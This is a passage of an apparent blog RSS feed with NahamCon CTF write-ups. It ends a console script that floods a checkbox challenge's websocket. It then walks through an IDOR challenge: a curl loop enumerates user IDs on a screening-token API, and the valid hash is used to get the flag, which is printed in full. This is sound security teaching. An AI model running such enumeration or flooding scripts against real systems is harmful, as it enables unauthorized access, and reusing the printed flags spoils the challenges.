            <span class="hljs-attr">action</span>: <span class="hljs-string">'check'</span>,  
            <span class="hljs-attr">numbers</span>: chunk  
        }));  

        <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`[+] Sent check for <span class="hljs-subst">${i}</span> to <span class="hljs-subst">${i + CHUNK_SIZE}</span>`</span>);  
        i += CHUNK_SIZE;  
        <span class="hljs-built_in">setTimeout</span>(floodCheckBoxes, <span class="hljs-number">100</span>); <span class="hljs-comment">// delay to prevent crash  </span>
    }  

    floodCheckBoxes(); <span class="hljs-comment">// start flooding  </span>
};  

<span class="hljs-comment">// Step 3: After ~10 seconds, manually wait for UI to catch up and reveal flag  </span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">waitForFlag</span>(<span class="hljs-params"></span>) </span>{  
    <span class="hljs-keyword">const</span> count = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'checked-count'</span>).textContent.replace(<span class="hljs-regexp">/,/g</span>, <span class="hljs-string">''</span>);  
    <span class="hljs-keyword">if</span> (count === <span class="hljs-string">'2000000'</span>) {  
        <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'flag'</span>).innerText = <span class="hljs-built_in">window</span>.SERVER_FLAG;  
        <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'flag-container'</span>).style.display = <span class="hljs-string">'block'</span>;  
        confetti(); <span class="hljs-comment">// 🎉  </span>
    } <span class="hljs-keyword">else</span> {  
        <span class="hljs-built_in">setTimeout</span>(waitForFlag, <span class="hljs-number">500</span>);  
    }  
}  

<span class="hljs-built_in">setTimeout</span>(waitForFlag, <span class="hljs-number">10000</span>); <span class="hljs-comment">// wait for checkboxes to flood first</span>
</code></pre>
<p>After applying this script on console wait for 10 sec and refresh the page.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762006772745/585d5d19-834c-44c0-9f6c-ca6e8df26c0b.png" alt /></p>
]]></content:encoded></item><item><title><![CDATA[Advanced Screening Writeup]]></title><description><![CDATA[Learn about exploiting IDOR vulnerabilities to access unauthorized resources with an easy web exploitation challenge focused on broken access control]]></description><link>https://prayush.hashnode.dev/advanced-screening-writeup</link><guid isPermaLink="true">https://prayush.hashnode.dev/advanced-screening-writeup</guid><category><![CDATA[nahamcon]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[CTF]]></category><dc:creator><![CDATA[Prayush Hada]]></dc:creator><pubDate>Fri, 31 Oct 2025 02:03:39 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1762006555581/26fb0075-51d7-429e-a207-7515a13ce5f6.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Category:</strong> Web Exploitation (IDOR)<br /><strong>Difficulty:</strong> Easy<br /><strong>Challenge URL:</strong> <a target="_blank" href="http://challenge.nahamcon.com:30723￼Flag"><code>http://challenge.nahamcon.com:30723</code><br /><strong>Flag</strong></a><strong>:</strong> <code>flag{f0b1d2a98cd92d728ddd76067f959c31}</code></p>
<hr />
<h3 id="heading-objective">🧠 Objective</h3>
<p>We were tasked with retrieving a movie screening token by abusing insecure authorization mechanisms. The challenge tested our understanding of broken access control, specifically <strong>Insecure Direct Object Reference (IDOR)</strong>.</p>
<hr />
<h3 id="heading-initial-observation">🔍 Initial Observation</h3>
<p>On visiting the website, we observed a client-side call to the following endpoint:</p>
<pre><code class="lang-bash">POST /api/screen-token/
Content-Type: application/json
Payload: { <span class="hljs-string">"user_id"</span>: 1 }
</code></pre>
<p>This endpoint responded with error messages like:</p>
<pre><code class="lang-bash">{
  <span class="hljs-string">"error"</span>: <span class="hljs-string">"Account deactivated"</span>
}
</code></pre>
<p>This suggested the endpoint was checking for a <code>user_id</code>, and different IDs triggered different responses — a potential IDOR situation.</p>
<h3 id="heading-exploitation-fuzzing-for-a-valid-userid">🛠️ Exploitation – Fuzzing for a Valid <code>user_id</code></h3>
<p>We wrote a simple bash loop to enumerate possible user IDs:</p>
<pre><code class="lang-bash"><span class="hljs-keyword">for</span> id <span class="hljs-keyword">in</span> {1..20}; <span class="hljs-keyword">do</span>
  <span class="hljs-built_in">echo</span> <span class="hljs-string">"Trying user_id: <span class="hljs-variable">$id</span>"</span>
  curl -s -X POST http://challenge.nahamcon.com:30723/api/screen-token/ \
    -H <span class="hljs-string">"Content-Type: application/json"</span> \
    -d <span class="hljs-string">"{\"user_id\":<span class="hljs-variable">$id</span>}"</span> | jq
<span class="hljs-keyword">done</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761875754720/3b86439c-9af0-465b-bb98-e3a270de0394.png" alt /></p>
<p>💡 Breakthrough at user_id 7:</p>
<pre><code class="lang-bash">{
  <span class="hljs-string">"hash"</span>: <span class="hljs-string">"fe49e2554d481e070c213ec0b8a9113e"</span>
}
</code></pre>
<p>This was <strong>not an error message</strong>, but a valid screening hash!</p>
<h3 id="heading-final-step-accessing-the-flag">🎯 Final Step – Accessing the Flag</h3>
<p>We visited the link:</p>
<pre><code class="lang-bash">http://challenge.nahamcon.com:30723/screen/?key=fe49e2554d481e070c213ec0b8a9113e
</code></pre>
<p>And then we get the flag:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761875808904/4efaf6d9-48ee-444e-8059-4519cbfd9676.png" alt /></p>
<pre><code class="lang-bash">flag{f0b1d2a98cd92d728ddd76067f959c31}
</code></pre>
<h3 id="heading-root-cause">🧵 Root Cause</h3>
<p>The <code>/api/screen-token/</code> endpoint exposed user-specific resources without proper authentication or authorization. Anyone could supply <code>user_id: 7</code> and retrieve sensitive data.</p>
<blockquote>
<p>This is a textbook case of <strong>Insecure Direct Object Reference (IDOR)</strong>.</p>
</blockquote>
]]></content:encoded></item></channel></rss>